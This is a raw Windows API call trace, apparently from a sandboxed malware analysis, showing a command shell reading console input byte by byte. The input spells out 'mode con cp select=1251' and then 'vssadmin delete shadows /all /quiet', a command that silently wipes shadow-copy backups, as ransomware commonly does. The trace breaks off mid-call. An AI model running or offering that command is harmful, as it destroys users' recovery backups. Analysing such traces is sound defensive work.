CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0243.316] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7524b9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xbef98ff4e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesWritten=0xbef98ff4e8*=0x14, lpOverlapped=0x0) returned 1 [0243.317] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.317] GetFileType (hFile=0x248) returned 0x3 [0243.317] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.317] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.317] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.317] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0243.317] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.317] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.317] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.317] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0243.317] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.317] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.317] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.317] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0243.317] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.317] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.317] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.318] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0243.318] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.318] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.318] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.318] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0243.318] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.318] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.318] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.318] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0243.318] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.318] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.318] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.318] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0243.318] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.318] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.318] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.318] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0243.318] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.318] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.319] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.319] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0243.319] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.319] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.319] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.319] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0243.319] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.319] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.319] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.319] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0243.319] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.319] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.319] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.319] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0243.319] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.319] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.319] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.319] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0243.319] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.320] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.320] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.320] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0243.320] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.320] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.320] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.320] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0243.320] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.320] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.320] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.320] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0243.320] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.320] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.320] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.320] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0243.320] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.320] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.320] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.321] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0243.321] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.321] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.321] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.321] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0243.321] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.321] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.321] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.321] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0243.321] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.321] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.321] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.321] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0243.321] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.321] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.321] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.321] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0243.321] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.321] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.321] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.322] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0243.322] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.322] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.322] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.322] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0243.322] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.322] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.322] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.322] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0243.322] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.322] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.322] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.322] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0243.322] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.322] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.322] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.322] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0243.322] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.322] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.323] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0243.323] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.323] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.323] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0243.323] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.323] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.323] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0243.323] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.323] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.323] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0243.323] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.323] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.323] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0243.323] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.323] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.323] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.324] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0243.324] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.324] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.324] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.324] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0243.324] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.324] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.324] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.324] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, lpWideCharStr=0x7ff7524c3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0243.324] _get_osfhandle (_FileHandle=0) returned 0x248 [0243.324] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0243.324] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7524b9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbef98ff848, lpOverlapped=0x0 | out: lpBuffer=0x7ff7524b9970*, lpNumberOfBytesRead=0xbef98ff848*=0x1, lpOverlapped=0x0) returned 1 [0243.324] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7524b9970, cbMultiByte=1, 